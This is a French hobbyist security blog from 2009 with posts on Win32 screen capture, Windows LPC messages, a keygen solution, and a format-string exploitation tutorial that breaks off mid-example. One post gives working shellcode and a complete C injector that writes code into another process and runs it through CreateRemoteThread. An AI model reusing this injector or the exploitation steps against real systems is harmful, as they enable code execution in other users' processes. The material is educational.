dimanche 13 septembre 2009

Capturer son écran avec l'API Win32 dans un fichier bmp

Hoy !
C'est la rentrée depuis maintenant deux semaines, et je n'ai plus vraiment la motivation pour m'attaquer à des sujets intéressants et qui ont besoin de beaucoup de pré-requis (qu'Ivanlef0u me pardonne, car je n'oublie pas ma mission sur CsrCallServer...).

Ce matin, m'ennuyant, j'ai mis une heure à me documenter sur les API Win32 pour réaliser un petit programme qui va balayer l'écran pour y enregistrer chaque pixel - de façon ordonnée, hein - dans un fichier bitmap.

Déjà, il faut savoir que le format bitmap est propre à Microsoft, mais cela n'empêche pas qu'il soit documenté et simple à comprendre. J'avais, par ailleurs, rédigé un document un peu bidon sur ce que j'en savais : http://venom630.free.fr/geo/divers/doc_bmp.txt.

Si on se sert de ça comme support à la compréhension du format, on élabore notre structure C sans broncher :

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;


Il existe peut-être une structure déjà existante fournie par microsoft, mais je ne voulais pas chercher sur le net sachant que je serais allé bien plus vite en faisant ma propre structure.

Pour les déroutés : DWORD et WORD correspondent respectivement à des tailles de données sur 4 et 2 octets. Les préfixes dw et w correspondent à "double word" et "word", pour rendre le nom des champs plus logiques.

A noter que je n'ai pas mis le champ "mot magique" dans la structure, car celui-ci fait 2 octets, et si on le rajoute, la structure ne sera plus alignée sur 4 octets. C'est plutôt gênant quand on veut écrire/lire une structure en un coup. De plus, la mot magique est toujours égal à 'BM', soit 0x4244.

Enfin, on passe à la partie la plus intéressante : les fonctions fournies par l'API Win32 pour faire joujou.

Tout d'abord, il faut récupérer la résolution de l'écran. C'est faisable via la fonction GetSystemMetrics() : http://msdn.microsoft.com/en-us/library/ms724385%28VS.85%29.aspx.

Ces fonctions retournent respectivement la longueur et la largeur de l'écran :
#include <windows.h>
GetSystemMetrics(SM_CXSCREEN);
GetSystemMetrics(SM_CYSCREEN);


Ensuite, on a besoin d'avoir un "handle" sur la totalité de la surface de l'écran. Pour cela, on utilise la fonction GetDC() ("Get Device Context") : http://msdn.microsoft.com/en-us/library/dd144871%28VS.85%29.aspx. Si l'argument de la fonction est égal à NULL, le handle retourné concerne la fenêtre entière. Si on fourni, par contre, un argument handle de type "HWND", on aura un "handle" sur une fenêtre.

Avec cet handle sur l'écran, on peut utiliser la fonction magique GetPixel() fournie par la bibliothèque GDI32. GetPixel() : http://msdn.microsoft.com/en-us/library/dd144909%28VS.85%29.aspx.

Cette fonction, comme vous pouvez le voir, utilise trois arguments :
- le premier est le handle de notre "device context" ;
- le second correspond à l'abscisse du pixel ;
- le troisième correspond à son ordonnée.

Avec cette fonction, on va donc pouvoir lire chaque pixel à l'écran. Effectivement, on fera une double boucle for pour balayer chaque ligne et récupérer chaque valeur de pixel. Par ailleurs, GetPixel() retourne la valeur "RVB" du pixel. Et dans un fichier bitmap, un pixel est écrit sur trois octets : le premier correspond au taux de bleu, le second au taux de vert et le dernier au taux de rouge.

On peut donc imaginer une structure tenant sur trois octets :
typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


Enfin, pour ma part, j'ai enregistré les pixels "à la volée" dans le fichier, et j'ai utilisé la bibliothèque standard du C pour ouvrir mon bitmap et y déposer les pixels.

Pour résumer, voici le code que je suis parvenu à élaborer :
#include <windows.h>
#include <stdio.h>

size_t GetSizeFromDim(int x, int y);

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;

typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


int main(int argc, char **argv) {

BMPHDR Hdr;
Hdr.dwSize = GetSizeFromDim(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
Hdr.wRes1 = 0x0000;
Hdr.wRes2 = 0x0000;
Hdr.dwOffset = 0x00000036;
Hdr.dwHeaderSize = 0x00000028;
Hdr.dwWidth = (DWORD)GetSystemMetrics(SM_CXSCREEN);
Hdr.dwHeight = (DWORD)GetSystemMetrics(SM_CYSCREEN);
Hdr.wFoo = 0x0001;
Hdr.wBitsPerPixels = 0x0018;
Hdr.dwCompressed = 0;
Hdr.dwBytesPerPixels = 0x00000004;
Hdr.dwBitsPerMetterOnWidth = 0;
Hdr.dwBitsPerMetterOnHeigt = 0;
Hdr.dwNumberOfColors = 0;
Hdr.dwImportantColors = 0;

WORD Sign = 0x4d42;

// Fichier de sortie
FILE *fout = fopen("foo.bmp","wb");
fwrite(&Sign, sizeof(WORD), 1, fout);
fwrite(&Hdr, sizeof(BMPHDR), 1, fout);



// Récupération du handle de l'écran
HDC ecran = GetDC(NULL);

// Lecture des pixels et enregistrement !
COLORREF Color;
PIXEL Pixel;
int i, j, k;

char bourrage = 0;

for(j = Hdr.dwHeight - 1; j >= 0; j--) {

// Un bmp part du bas, donc on lira les pixels à partir du bas
for(i = 0; i < Hdr.dwWidth; i++) {
Color = GetPixel(ecran, i, j);
Pixel.bBlue = GetBValue(Color);
Pixel.bGreen = GetGValue(Color);
Pixel.bRed = GetRValue(Color);

// Ecriture du pixel
fwrite(&Pixel, sizeof(PIXEL), 1, fout);
}
// On bourre
for(k = 0; k < (i % 4); k++)
fwrite(&bourrage, sizeof(char), 1, fout);
}

fclose(fout);

return 0;
}

size_t GetSizeFromDim(int x, int y) {
return sizeof(BMPHDR) + ((x*3 + (x%4))*y);
}


Vous trouverez la source propre et colorée à cette adresse : http://venom630.free.fr/geo/tools/GetSystemMetric_c.html.

Conclusion


J'avoue avoir été pressé dans mes explications. Mais je me suis dit que ça pouvait en intéresser plus de savoir comment pouvait fonctionner la capture d'écran sous Windows. Après, j'ignore si le code marche sous Vista ou s'il est véritablement portable. Mais une fois que vous comprenez l'algorithme, vous pouvez aisément faire votre propre code valide.

J'oubliais de préciser : pendant la compilation, n'oubliez pas de lier la lib gdi, sinon le compilateur vous dira qu'il ne trouve aucune référence à GetPixel() lors de l'édition de lien.

A la revoyure !

Geo

samedi 29 août 2009

Introduction aux messages LPC (windows)

Salutations !
Pendant ces vacances, j'ai eu l'occasion de me pencher sur les messages LPC - Local Procedure Call. Ça a commencé quand je me suis remis en tête de comprendre le fonctionnement de la fonction printf(). Vous vous souvenez ?

J'ai donc recommencé ce parcours. Voici ce dont je suis sûr pour le moment : printf() fais appel à la fonction standard write(), qui elle va appeler WriteFile(). Cette dernière écrit dans le flux stdout. Et à ma grande surprise - pas seulement à la mienne, en tout cas - WriteFile ne va pas faire appel à NtWriteFile() (qui est une fonction native) mais à WriteConsole() - on reste toujours dans l'api win32) et cette fameuse WriteConsole() ne fais pas non plus appel à NtWriteFile... mais à ZwRequestWaitReplyPort().

Un nom qui fait peur, non ?

J'ai donc mené des recherches, et j'ai appris que cette fonction faisait partie d'un jeu de fonctions qui assurait la communication "souterraine" entre processus/threads.

La communication LPC peut permettre de communiquer de l'userland au kerneland, et assure une rapide transmission de données. Tout se situe au niveau du noyau, puisqu'on utilise des api natives (celles qui font mettre un "syscall" dans le registre eax avant d'appeler KiFastSystemCallRet et donc faire un "sysenter").

Cet article va donc parler des messages LPC.

Comment ça se passe ?


Pour communiquer, nous avons besoin d'un client et d'un serveur. Le serveur va créer un port accessible en local uniquement. Il ne faut pas confondre avec les sockets. Les ports doivent toujours avoir un nom de la forme \NomDuPort. L'anti-slash est important.

Après, pour ceux qui connaissent les sockets, c'est un peu le même schéma. On se met en écoute sur le port créé et on attend que ça se passe. J'ai pas vraiment creusé le tout, mais il me semble évident qu'il doive exister certains ports fournissant des services windows.

Les fonctions permettant d'implémenter les messages LPC sont exportées par la ténébreuse ntdll. J'ai trouvé les prototypes ici : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Port/NtCreatePort.html.

Cependant, il s'avère que certains prototypes ne soient pas forcément exacts ; en effet, j'ai eu à utiliser des structures différentes au fur et à mesure que mes recherches devenaient fructueuses.

Côté serveur



Pour créer un port, on utilise NtCreatePort() :
NTSYSAPI
NTSTATUS
NTAPI
NtCreatePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );


La fonction prend en argument un HANDLE qu'elle va initialiser. Ce handle va nous servir par la suite (logique). Pour le reste des arguments, ils sont à peu près compréhensibles, ben que l'argument ObjectAttributes me paraisse encore flou (je ne m'y suis pas penché, à vrai dire). Je ne connais pas encore la véritable fonction de la structure OBJECT_ATTRIBUTES. Ce n'est, à vrai dire, pas la seule qui me paraît floue. Mais ça ne m'a pas empêché d'émuler une communication client/serveur.

Bref, continuons : MaxDataLength est un argument qui correspond au maximum d'octets transférables sur le port. Pour le reste, on s'en tamponne le coquillage (pour le moment, hein !).

Après avoir créé notre port, il faut se mettre en écoute dessus via NtListenPort(). Cette fonction est bloquante et attend qu'une connexion se fasse de la part du client (nous verrons quelles fonctions il utilise).

Prototype de NtListenPort :
NTSYSAPI
NTSTATUS
NTAPI
NtListenPort(
IN HANDLE PortHandle,
OUT PLPC_MESSAGE ConnectionRequest );


Le handle attendu est celui qui a été traité, au préalable, par notre fonction NtCreatePort. Enfin, l'argument ConnectionRequest n'est pas une structure LPC_MESSAGE, mais plutôt une structure PORT_MESSAGE. Cet argument représente une en-tête de message LPC qui sera initialisée par le serveur.

La fonction bloque jusqu'à la connexion d'un client. Ensuite, lorsqu'un client demande à se connecter, il faut accepter la connexion via NtAcceptConnectPort().
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtAcceptConnectPort(

OUT PHANDLE ServerPortHandle,
IN HANDLE AlternativeReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE ConnectionReply,
IN BOOLEAN AcceptConnection,
IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL );


Le premier argument correspond au handle du serveur que va créer la fonction. Ce handle sera différent de celui créé par le port, bien entendu. Ceux qui sont marqués en OPTIONAL, on s'en moque pas mal pour l'instant. Ceux qui sont intéressants sont ConnectionReply et AcceptConnection.
L'argument ConnectionReply - qui est une structure PORT_MESSAGE au lieu de LPC_MESSAGE (je marquerai dès à présent "PPORT_MESSAGE", donc...) - correspond à la structure qu'on a envoyée à NtListenPort(), également en tant que PORT_MESSAGE. Quant au booléen AcceptConnection, il indique simplement et clairement si on doit accepter la connexion côté client ou non (mais j'avoue ne pas trop savoir pourquoi un tel argument ; je me suis mal renseigné, une fois de plus).

La connexion est acceptée. Il faut la "finaliser" via NtCompleteConnectPort. C'est comme si le serveur dit au client : "Ok, tout est en règle, on peut commencer à bosser ensemble".
Prototype :

NTSYSAPI
NTSTATUS
NTAPI

NtCompleteConnectPort(

IN HANDLE PortHandle );

La fonction attend, en argument, l'handle du serveur. Tout simplement.

Le serveur peut enfin attendre de recevoir des données. Il va recevoir, respectivement, les en-têtes du message, une commande assignée par le client et le corps du message.

Voici la structure d'un message transféré entre clients et serveurs LPC :
typedef struct _TRANSFERRED_MESSAGE
{
PORT_MESSAGE Header; // En-tête
WCHAR MessageText[48]; // Le message lui-même

} TRANSFERRED_MESSAGE, *PTRANSFERRED_MESSAGE;


Bien qu'on ne demande qu'en argument PORT_MESSAGE, les fonctions pourront tout de même écrire dans le champ MessageText puisqu'il suit. Inutile de préciser qu'ils respectent l'alignement des structures (taille alignée sur un multiple de 4).
J'ai trouvé cette structure dans un code relatif à un article que je mettrai en référence à la fin du blog.

Voici la structure PORT_MESSAGE :
typedef struct _PORT_MESSAGE
{
union
{
struct
{
USHORT DataLength; // Length of data following the header (bytes)
USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)
} s1;
ULONG Length;
} u1;

union
{
struct
{
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;

union
{
CLIENT_ID ClientId;
double DoNotUseThisField; // Force quadword alignment
};

ULONG MessageId; // Identifier of the particular message instance

union
{
ULONG_PTR ClientViewSize; // Size of section created by the sender (in bytes)
ULONG CallbackId; //
};

} PORT_MESSAGE, *PPORT_MESSAGE;


On remarque que le champ DataLength va permettre aux fonctions de chercher les données après le header.

Voici la fonction native qui va permettre la réception des données sur le port : NtReplyWaitReceivePort() :
NTSYSAPI
NTSTATUS
NTAPI

NtReplyWaitReceivePort(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );


Les arguments marqués en OPTIONAL, comme d'habitude, on s'en moque. On voit, une fois de plus, que la fonction attend le handle du serveur en argument premier. Le dernier argument correspondra au message LPC qu'elle aura récupéré en kerneland ; celui envoyé par le noyau.

Lorsque le serveur en a fini avec le client, il doit fermer le handle du serveur sans détruire le handle retourné par NtCreatePort. Pour cela, il a recourt à la fonction suivante : NtClose() :
NTSTATUS NtClose(
HANDLE Handle
);


La fonction attend simplement un handle à fermer. On soumettra le handle du serveur à fermer.

Côté Client



Un client, ça se connecte (sans déconner ?). On va utiliser la fonction NtConnectPort() pour se connecter. Son prototype est assez chargé, puisqu'il faut encore s'occuper des "security descriptor" et tout le bordel.
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtConnectPort(

OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN ConnectionInfo OPTIONAL,
IN PULONG ConnectionInfoLength OPTIONAL );


On oublie les arguments optionnels. Le premier argument correspond au handle qui sera créé par la fonction. Le second argument correspond au nom du port auquel se connecter (doit être le même que celui créé par le serveur, logiquement). L'argument MaximumMessageLength correspond à la taille maximale que le serveur aura fixé. Pour le reste, j'évite de détailler, de peur de dire de la mouise.

Pour envoyer des données, le client utilisera NtRequestPort() :
NTSYSAPI
NTSTATUS
NTAPI

NtRequestPort(

IN HANDLE PortHandle,
IN PPORT_MESSAGE Request );


Pareil, on attend un handle et une en-tête LPC.

Remarquez, il peut aussi utiliser NtRequestWaitReplyPort() (comme printf, sauf qu'elle se sert de celle en Zw*) :

NTSYSAPI
NTSTATUS
NTAPI

NtRequestWaitReplyPort(

IN HANDLE PortHandle,
IN PLPC_MESSAGE Request,
OUT PLPC_MESSAGE IncomingReply );


L'argument supplémentaire contiendra la réponse du serveur.

On code



Pourquoi ne pas passer à la pratique, après un brin de théorie ? Certes, je ne vais pas vous apprendre à faire de "privilege escalation" (j'ai lu qu'on pouvait faire ça via les messages LPC). J'ai déjà assez bataillé pour faire marcher mes codes.

L'affichage du blog étant pourri, je me résignerai à mettre des urls pour que vous puissiez accéder aux sources. Tout est disponible ici.

Conclusion



Le domaine des messages LPC est très vaste ; un domaine que je ne maîtrise pas mais qui m'intéresse, ce pourquoi j'en parle.

Je remercie Ivanlef0u pour avoir usé de son temps afin de me sauver la mise ; sans lui, rien de tout cela ne fonctionnerait. Merci également à 0vercl0k (je le cite au moins une fois par article, c'est fou) pour m'avoir boosté.

Références :
- http://www.zezula.net/en/prog/lpc.html : communications LCP ;
- Local Procedure Call - Wikipédia

A très bientôt.

Geo

mercredi 12 août 2009

KeygenMe - Solution

En dix jours, vous étiez très peu à avoir tenté de réaliser un keygen pour ce challenge : http://geo0w.blogspot.com/2009/08/challenge-keygenme.html. Et il n'y a eu qu'une personne pour avoir proposé une solution. Un grand bravo à Baboon. Quant à 0vercl0k, il n'était pas loin de la solution non plus.

Voici le lien du keygen de Baboon (avec beaucoup d'humour) : http://venom630.free.fr/geo/blog/keygenme/keygen_baboon.rar.

De plus, l'explication de Baboon est tellement claire que je préfère vous la diffuser :
Je suis content que mon keygen t'ai plu ;)

pour la génération de la clef je me base sur la clef intermédiaire qui permet le calcul du "hash" de fin mais aussi les caractères du serial en effet on a :

(pour simplifier quand j'écrit serial, ca correspond en fait à l'indice de correspondance de la lettre du serial dans le tableau "246789BCDEFGHJKMNPRTVWXZ")

nibbles[i] = (serial[i] * 24 + serial[i+1]) >> 4
et
nibbles[i+1] = (serial[i] * 24 + serial[i+1]) & 0xFF

de plus le bit n° i/2 de la var globale 00404010 est set si on a serial[i] * 24 + serial[i+1] > 0xFF

donc pour générer un serial il suffit de :
génèrer 16 nibbles (int <= 0xF) de faire le hash de ces nibbles & 0xFF => on obtient le résultat que doit valoir la var globale en 0x404010

ensuite pour générer les chars du sérial il suffit de faire :
a = nibbles[i] << 4 | nibbles[i+1]

serial[i] = a / 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 / 24
et
serial[i+1] = a % 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 % 24

comme ca on a bien l'égalité
nibbles[i] = serial[i] * 24 + serial[i+1] >> 4
et
nibbles[i+1] = serial[i] * 24 + serial[i+1] & 0xFF
et le bit est bien set quand il faut

voila voila, je ne sais pas si c'est clair ;)


Pour ma part, je me contentais de faire un brute-forcing sur les 4 derniers digits du keygen jusqu'à générer une clef valide - les premiers étant générés aléatoirement. Baboon nous a donc tous mis au tapis.

Désolé pour ceux qui n'ont pas eu le temps de résoudre l'épreuve. Elle est toujours disponible ici : http://venom630.free.fr/geo/blog/keygenme/keygenme.exe.

A+

Geo

Injection de shellcode dans un processus cible

En lisant un vieux billet d'0vercl0k, je me suis dit que je pourrais moi-même tenter de faire un truc que je n'ai jamais fait : injecter un shellcode dans un processus cible. J'entends par processus cible un processus déjà existant, comme explorer (qui tourne - logiquement - toujours lorsqu'une session windows est activée) ou notepad.

On va essayer d'étudier tout ça pas à pas. D'abord, on va concevoir un shellcode qui fera appel à la fonction MessageBox(), puis, après l'avoir convenablement testé, on l'injectera dans un processus au choix.

Ce shellcode sera injecté dans un "thread" nouvellement créé dans le processus ciblé. On aura donc notre shellcode qui s'exécutera en parallèle avec les autres instructions "normales" du processus.

/!\ Je vais sauter pas mal de concepts dans cet article. Effectivement, je ne parlerai pas de "comment trouver l'adresse d'une fonction dans une DLL" et j'en passe. Cependant, je fournirai tous les outils nécessaires + résumés des codes sources à la fin de l'article.

I] Le shellcode


La structure du shellcode se divise en trois étape :


Voici ce que j'ai pondu sous masm32 :
.386
.model flat, stdcall
option casemap: none

.code
start: jmp DllUser32
suite: mov edx, [esp]
mov [edx+10], al
mov edi, 7c801d77h ; adresse de LoadLibraryA
call edi
xor eax, eax
push eax
jmp TitreMsgBox
suite2: mov edx, [esp]
xor eax, eax
mov [edx+11], al
jmp MsgMsgBox
suite3: mov edx, [esp]
xor eax, eax
mov [edx+14], al
push eax
mov edi, 77d5050bh ; adresse de MessageBoxA
call edi
xor eax, eax
push eax
mov edi, 7c81cdeah ; adresse de ExitProcess
call edi

DllUser32: call suite
DllName db "user32.dll",255

TitreMsgBox: call suite2
Titre db "Successful!",255
MsgMsgBox: call suite3
Message db "Code injecté !",255
end start


J'utilise la fameuse ruse du call pour empiler les chaînes de caractères correspondants aux arguments de la fonction à appeler.

La fonction MessageBox(), comme le décrit la MSDN, comprend 4 arguments. Le premier et le dernier ne nous intéressent pas particulièrement ; on se contentera juste de donner un titre et un texte à la boîte de message.

Bref, on traduit la source assembleur en opcodes et on a :
\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF\x77\x1D\x80\x7C\xFF\xD7
\x33\xC0\x50\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42\x0B\xEB\x3B\x8B\x14\x24\x33\xC0
\x88\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C\xFF
\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF\xE8\xC7\xFF
\xFF\xFF\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8\xC0\xFF\xFF\xFF\x43
\x6F\x64\x65\x20\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF


II] Le processus


La partie que je maîtrise le moins, puisque je la découvre. On va devoir faire un "exploit" (si je puis me permettre d'utiliser un tel terme) qui va ouvrir le processus courant via OpenProcess() (http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx). Ensuite, il va falloir réserver de la mémoire dans le processus courant. Comme un malloc(), si vous voulez. La taille de la mémoire sera égale à la taille de notre shellcode. On fera ça avec la fonction VirtualAllocEx() (http://msdn2.microsoft.com/en-us/library/aa366890.aspx).
Dans cette mémoire allouée dynamiquement, on y écrira notre shellcode. L'API Win32 nous fournit une fonction qui le permet : WriteProcessMemory() http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx).
Ensuite, on créé un Thread qui va exécuter la fonction qui correspond à notre shellcode : CreateRemoteThread() (http://msdn2.microsoft.com/en-us/library/ms682437.aspx).

On aura aussi besoin d'autres fonctions pour libérer la mémoire et cie.

Concernant les processus, ils sont identifiés par ce qu'on appelle les "PID" (process identifier). Effectivement, il se peut qu'il y ait, sur une machine, deux instances notepad qui sont en route. Les processus ont le même nom, mais pas le même PID.

Il faudra donc se servir d'une fonction qui retournera le PID du processus en fonction de son nom. Pour cela, on fera une boucle qui parcourra nos processus jusqu'à ce que le nom soit exact.

Voici le code d'0vercl0k que j'ai un peu retapé, avec mon shellcode :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

long ProcessNameToPid(char* process);
int InjectShellcodeIntoProcess(DWORD PidProcess);

int main(int argc ,char** argv)
{
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(-1);
}
if(InjectShellcodeIntoProcess( ProcessNameToPid(argv[1]) ) ) {
printf("Injection reussie !\n");
} else {
printf("Injection echouee... Peut-etre que le processus n'existe pas ?\n");
}
return 0;
}

long ProcessNameToPid(char* process)
{
// snapshot qui servira à "photographier" les processus,
// recueillir leurs informations, quoi.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 structprocsnapshot = {0};

// On initialise dwSize, sans quoi on ne pourra lister aucun processus
structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);

if(snapshot == INVALID_HANDLE_VALUE) return 0;
// Process32First trouve le premier processus
if(Process32First(snapshot,&structprocsnapshot) == FALSE) return 0;

// Tant qu'il y a des processus à lister
while(Process32Next(snapshot,&structprocsnapshot) )
{
// On a trouvé notre processus ? On retourne son PID
if(!strcmp(structprocsnapshot.szExeFile,process))
{
CloseHandle(snapshot);
return structprocsnapshot.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}

int InjectShellcodeIntoProcess(DWORD PidProcess)
{
char sh[] =
"\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF"
"\x77\x1D\x80\x7C\xFF\xD7\x33\xC0\x50"
"\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42"
"\x0B\xEB\x3B\x8B\x14\x24\x33\xC0\x88"
"\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF"
"\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C"
"\xFF\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73"
"\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF"
"\xE8\xC7\xFF\xFF\xFF\x53\x75\x63\x63"
"\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8"
"\xC0\xFF\xFF\xFF\x43\x6F\x64\x65\x20"
"\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF";

long tailleStringSh = strlen(sh);

// On ouvre le processus via OpenProcess
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , PidProcess);
// Le processus n'existe pas ? On retourne 0
if(handleProcess == NULL)return 0;

// Reservation et écriture dans la mémoire du processus via VirtualAllocEx
LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringSh , MEM_COMMIT , PAGE_EXECUTE_READWRITE);
// Erreur ? On retourne 0
if(addrEspaceReserve == NULL)
return 0;

// VirtualAllocEx a retourné un pointeur sur notre zone. On s'en sert
// pour y écrire dedans via WriteProcessMemory
int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , sh , tailleStringSh , 0);
// Erreur ? On retourne 0
if(retourFonctionWrite == 0)
return 0;

// On créé le thread
DWORD identificateurThread ;
HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , (LPTHREAD_START_ROUTINE)addrEspaceReserve , NULL , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
if(retourFonctionCreate == NULL)
return 0;

// Boucle qui va attendre qu'il y ait des interactions entre le processus
// et l'environnement
WaitForSingleObject(retourFonctionCreate,INFINITE);

// On libère la mémoire allouée
VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT);

// On ferme nos handles
CloseHandle(handleProcess);
CloseHandle(retourFonctionCreate);
return 1;
}


Le code propre est disponible ici : http://venom630.free.fr/geo/blog/injshproc/injectcodeintoprocess.html

A noter que si vous cliquez sur "OK" de la boîte de message, vous provoquez un ExitProcess(). Donc le processus se ferme. Essayez sur explorer.exe, ça peut-être marrant.

Conclusion


Vous êtes - normalement - capable d'injecter du code dans un processus lointain. Pour bien tout comprendre, la MSDN est à consulter, et le vocabulaire est à comprendre (threads, snapshots, ... ...).

Vous pourrez trouver tous les outils/sources qui se réfèrent à l'article ici : http://venom630.free.fr/geo/?path=blog/injshproc.

Merci à 0vercl0k pour m'avoir permis de faire cet article.

Geo

lundi 10 août 2009

Format String on Windows

En vacances, on se fait tellement chier - par moments, hein - qu'on revoit des concepts qu'on pigeait pas y'a un an. C'est mon cas concernant les format strings.

Le but de cet article sera d'exploiter une vulnérabilité de type format string en C.

Pour nous mettre dans le bain, imaginez le code suivant :
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[] = "coucou";
printf("%s",buffer);
return 0;
}

(Désolé si y'a pas d'indentation, l'affichage généré sur le blog est un peu pourri).

Le programme ne fait absolument rien d'anormal. Il se contente d'afficher "coucou". Mais imaginons le cas suivant :
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[] = "coucou";
printf(buffer);
return 0;
}


Le programme affiche également coucou. Mais si nous pouvions contrôler les données inscrites dans le buffer ? On pourrait écrire n'importe quoi, comme des %x, %d etc etc... Et ça afficherait des nombres auxquels on ne s'attendrait pas, puisqu'il n'y a pas plus d'un argument dans la fonction printf.

Vous pigerez d'où vient l'erreur :

printf(buffer);


Je vous propose un code vulnérable qui va lire notre buffer à partir d'un fichier (pompé sur http://www.ghostsinthestack.org) :
#include <tdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(void) {
int fd, i;
char buffer[1024];

fd = open("texte.txt", O_RDONLY);
if (fd < 0) exit(0);
read(fd, buffer, 1024);
printf(buffer);
close(fd);
return 0;
}


Le programme va lire le flux dans texte.txt et l'afficher via printf() directement ; c'est-à-dire sans passer par "%s" pour afficher ce buffer.

Commençons par mettre un petit %x dans notre texte.txt et lançons le programme :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60


D'où vient cette valeur ? La réponse en image :


Comme le montre la pile, le %x correspond à la valeur juste en-dessous de "format", qui correspond, elle-même, à notre chaîne de caractères formatée. Si nous mettons donc "%x %x" dans texte.txt, on devrait parvenir à afficher le 400 juste en-dessous :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60 400


Tout se tient. C'est là que vous vous dites "mais en quoi c'est une faille ?". Eh bien, il existe une méthode de formatage distincte : %n. Cette directive est remplacée par le nombre de caractères affichés en dur avant elle-même et est écrite dans le pointeur fourni en argument adéquat. Cela se fait via l'instruction suivante :
77C12AC4 8908 MOV DWORD PTR DS:[EAX],ECX


Dit comme ça, ça doit pas forcément rentrer. Faisons un code pour expliquer le tout :
#include <stdio.h>

int main(int argc, char **argv) {
int n;
printf("foobar%n\n",&n);
printf("%d\n",n);
return 0;
}


Ce programme produit le résultat qui suit :
C:\Documents and Settings\Geoffrey\C\FormatString>example.exe
foobar
6


%n se contente donc d'enregistrer, dans un espace mémoire, le nombre de caractères affichés plus tôt.

Supposons que nous omettions le second argument de printf() dans notre exemple ci-dessus. Le %n écrirait alors à une autre adresse mémoire que nous ne contrôlons pas nécessairement. Le but de l'exploitation de la faille est de faire en sorte que %n écrive sur la sauvegarde d'EIP une adresse qui pointera sur notre shellcode.

Pour que %n écrive sur la sauvegarde d'EIP, il faut afficher suffisamment de %x avant (ou de %d, c'est à vous de voir) pour que %n corresponde à une valeur de plus en plus "profonde dans la pile". Cette valeur correspondra, tôt ou tard, à notre "buffer" puisqu'il est présent dans la pile. Comme si on retombait sur notre chaîne.

Allez, un exemple pour décrasser tout ça : mettez "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" dans texte.txt. Voici le résultat :

C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
